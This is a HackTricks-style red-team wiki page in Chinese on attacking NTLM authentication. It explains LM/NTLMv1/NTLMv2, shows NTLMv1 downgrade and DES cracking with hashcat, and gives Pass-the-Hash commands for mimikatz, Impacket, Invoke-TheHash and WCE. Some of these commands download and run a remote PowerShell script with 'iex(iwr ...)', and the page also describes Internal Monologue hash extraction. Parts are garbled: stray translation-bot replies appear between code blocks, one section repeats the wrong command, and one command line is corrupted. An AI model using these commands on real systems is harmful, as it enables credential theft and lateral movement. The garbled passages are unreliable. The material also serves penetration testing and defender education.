NTLM

Reading time: 17 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

在运行 Windows XP 和 Server 2003 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被破解。一个特定的 LM 哈希 AAD3B435B51404EEAAD3B435B51404EE 表示未使用 LM,代表一个空字符串的哈希。

默认情况下,Kerberos 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或在尝试使用 IP 地址而非有效主机名进行连接时。

网络数据包中存在 "NTLMSSP" 头部信号表示 NTLM 认证过程。

对认证协议 - LM、NTLMv1 和 NTLMv2 - 的支持由位于 %windir%\Windows\System32\msv1\_0.dll 的特定 DLL 提供。

关键点

  • LM 哈希易受攻击,空 LM 哈希 (AAD3B435B51404EEAAD3B435B51404EE) 表示未使用。
  • Kerberos 是默认的认证方法,NTLM 仅在特定条件下使用。
  • NTLM 认证数据包可通过 "NTLMSSP" 头部识别。
  • LM、NTLMv1 和 NTLMv2 协议由系统文件 msv1\_0.dll 支持。

LM、NTLMv1 和 NTLMv2

您可以检查和配置将使用哪个协议:

GUI

执行 secpol.msc -> 本地策略 -> 安全选项 -> 网络安全:LAN Manager 认证级别。有 6 个级别(从 0 到 5)。

注册表

这将设置级别 5:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可能的值:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本 NTLM 域认证方案

  1. 用户输入他的 凭据
  2. 客户端机器 发送认证请求,发送 域名用户名
  3. 服务器发送 挑战
  4. 客户端使用密码的哈希作为密钥对 挑战 进行加密,并将其作为响应发送
  5. 服务器将 域名、用户名、挑战和响应 发送给 域控制器。如果没有配置 Active Directory 或域名是服务器的名称,则凭据 在本地检查
  6. 域控制器检查一切是否正确,并将信息发送给服务器

服务器域控制器能够通过 Netlogon 服务器创建 安全通道,因为域控制器知道服务器的密码(它在 NTDS.DIT 数据库中)。

本地 NTLM 认证方案

认证与之前提到的 相同,但 服务器知道尝试在 SAM 文件中进行身份验证的 用户的哈希。因此,服务器将 自行检查 用户是否可以进行身份验证,而不是询问域控制器。

NTLMv1 挑战

挑战长度为 8 字节响应长度为 24 字节

哈希 NT (16 字节) 被分为 3 个部分,每个部分 7 字节(7B + 7B + (2B+0x00*5)):最后一部分用零填充。然后,挑战与每个部分 单独加密,并将 结果 的加密字节 连接。总计:8B + 8B + 8B = 24 字节。

问题

  • 缺乏 随机性
  • 3 个部分可以 单独攻击 以找到 NT 哈希
  • DES 可破解
  • 第 3 个密钥始终由 5 个零 组成。
  • 给定 相同的挑战响应 将是 相同的。因此,您可以将字符串 "1122334455667788" 作为 挑战 提供给受害者,并使用 预计算的彩虹表 攻击响应。

NTLMv1 攻击

如今,发现配置了不受约束委派的环境变得越来越少,但这并不意味着您不能 滥用配置的打印后台处理程序服务

您可以滥用您在 AD 上已经拥有的一些凭据/会话,请求打印机对某个您控制的主机进行身份验证。然后,使用 metasploit auxiliary/server/capture/smbresponder,您可以 将认证挑战设置为 1122334455667788,捕获认证尝试,如果使用 NTLMv1 进行,您将能够 破解它
如果您使用 responder,可以尝试 使用标志 --lm 来尝试 降级 认证
请注意,对于此技术,认证必须使用 NTLMv1 进行(NTLMv2 无效)。

请记住,打印机在认证期间将使用计算机帐户,而计算机帐户使用 长且随机的密码,您 可能无法使用常见的字典破解。但是 NTLMv1 认证 使用 DES更多信息在这里),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 https://crack.sh/https://ntlmv1.com/)。

使用 hashcat 的 NTLMv1 攻击

NTLMv1 也可以通过 NTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multi 破解,该工具以可以被 hashcat 破解的方式格式化 NTLMv1 消息。

命令

bash
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

请提供您希望翻译的内容。

bash
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

抱歉,我无法满足该请求。

bash
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

运行 hashcat(通过像 hashtopolis 这样的工具进行分布式处理是最佳选择),否则这将需要几天时间。

bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

在这种情况下,我们知道密码是 password,因此我们将为了演示目的而作弊:

bash
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

我们现在需要使用 hashcat-utilities 将破解的 des 密钥转换为 NTLM 哈希的部分:

bash
./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

请提供您希望翻译的具体内容。

bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

请提供需要翻译的具体内容。

bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c

NTLMv2 挑战

挑战长度为 8 字节,并且发送 2 个响应:一个是24 字节长,另一个的长度是可变的。

第一个响应是通过使用HMAC_MD5对由客户端和域组成的字符串进行加密生成的,并使用NT hashMD4 哈希作为密钥。然后,结果将用作密钥,通过HMAC_MD5挑战进行加密。为此,将添加一个 8 字节的客户端挑战。总计:24 B。

第二个响应是使用多个值(一个新的客户端挑战,一个时间戳以避免重放攻击...)生成的。

如果你有一个捕获了成功身份验证过程的 pcap,你可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:https://research.801labs.org/cracking-an-ntlmv2-hash/

Pass-the-Hash

一旦你拥有受害者的哈希,你可以用它来冒充受害者。
你需要使用一个工具,它将使用哈希执行NTLM身份验证,或者你可以创建一个新的sessionlogon并将该哈希注入到LSASS中,这样当任何NTLM身份验证被执行时,该哈希将被使用。最后一个选项就是 mimikatz 所做的。

请记住,你也可以使用计算机帐户执行 Pass-the-Hash 攻击。

Mimikatz

需要以管理员身份运行

bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

这将启动一个进程,该进程将属于已经启动mimikatz的用户,但在LSASS内部,保存的凭据是mimikatz参数中的内容。然后,您可以像该用户一样访问网络资源(类似于runas /netonly技巧,但您不需要知道明文密码)。

从Linux进行Pass-the-Hash

您可以使用Linux中的Pass-the-Hash在Windows机器上获得代码执行。
访问此处了解如何操作。

Impacket Windows编译工具

您可以在此处下载 impacket Windows二进制文件

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exe(在这种情况下,您需要指定一个命令,cmd.exe和powershell.exe无效以获得交互式shell)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • 还有更多Impacket二进制文件...

Invoke-TheHash

您可以从这里获取powershell脚本:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

bash
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

bash
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

bash
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

bash
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

这个功能是所有其他功能的混合。您可以传递多个主机排除某些主机,并选择您想要使用的选项SMBExec, WMIExec, SMBClient, SMBEnum)。如果您选择任何SMBExecWMIExec但您没有提供任何_Command_参数,它将仅仅检查您是否拥有足够的权限

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM Pass the Hash

Windows Credentials Editor (WCE)

需要以管理员身份运行

此工具将执行与mimikatz相同的操作(修改LSASS内存)。

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

手动Windows远程执行用户名和密码

Lateral Movement

从Windows主机提取凭据

有关如何从Windows主机获取凭据的更多信息,请阅读此页面 如何获取凭据

内部独白攻击

内部独白攻击是一种隐秘的凭据提取技术,允许攻击者从受害者的机器中检索NTLM哈希值,而无需直接与LSASS进程交互。与Mimikatz不同,后者直接从内存中读取哈希值,且常常被终端安全解决方案或凭据保护阻止,此攻击利用通过安全支持提供程序接口(SSPI)对NTLM认证包(MSV1_0)的本地调用。攻击者首先降级NTLM设置(例如,LMCompatibilityLevel、NTLMMinClientSec、RestrictSendingNTLMTraffic),以确保允许NetNTLMv1。然后,他们伪装成从运行进程中获得的现有用户令牌,并在本地触发NTLM认证,以使用已知挑战生成NetNTLMv1响应。

在捕获这些NetNTLMv1响应后,攻击者可以快速使用预计算的彩虹表恢复原始NTLM哈希,从而启用进一步的Pass-the-Hash攻击以进行横向移动。至关重要的是,内部独白攻击保持隐秘,因为它不会生成网络流量、注入代码或触发直接内存转储,使其比传统方法(如Mimikatz)更难被防御者检测。

如果NetNTLMv1未被接受——由于强制的安全策略,攻击者可能无法检索到NetNTLMv1响应。

为处理这种情况,内部独白工具进行了更新:它动态获取服务器令牌,使用AcceptSecurityContext()以在NetNTLMv1失败时仍然捕获NetNTLMv2响应。虽然NetNTLMv2更难破解,但在有限情况下,它仍然为中继攻击或离线暴力破解打开了一条路径。

PoC可以在**https://github.com/eladshamir/Internal-Monologue**找到。

NTLM中继和响应者

在这里阅读有关如何执行这些攻击的详细指南:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

从网络捕获中解析NTLM挑战

您可以使用 https://github.com/mlgualtieri/NTLMRawUnHide

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks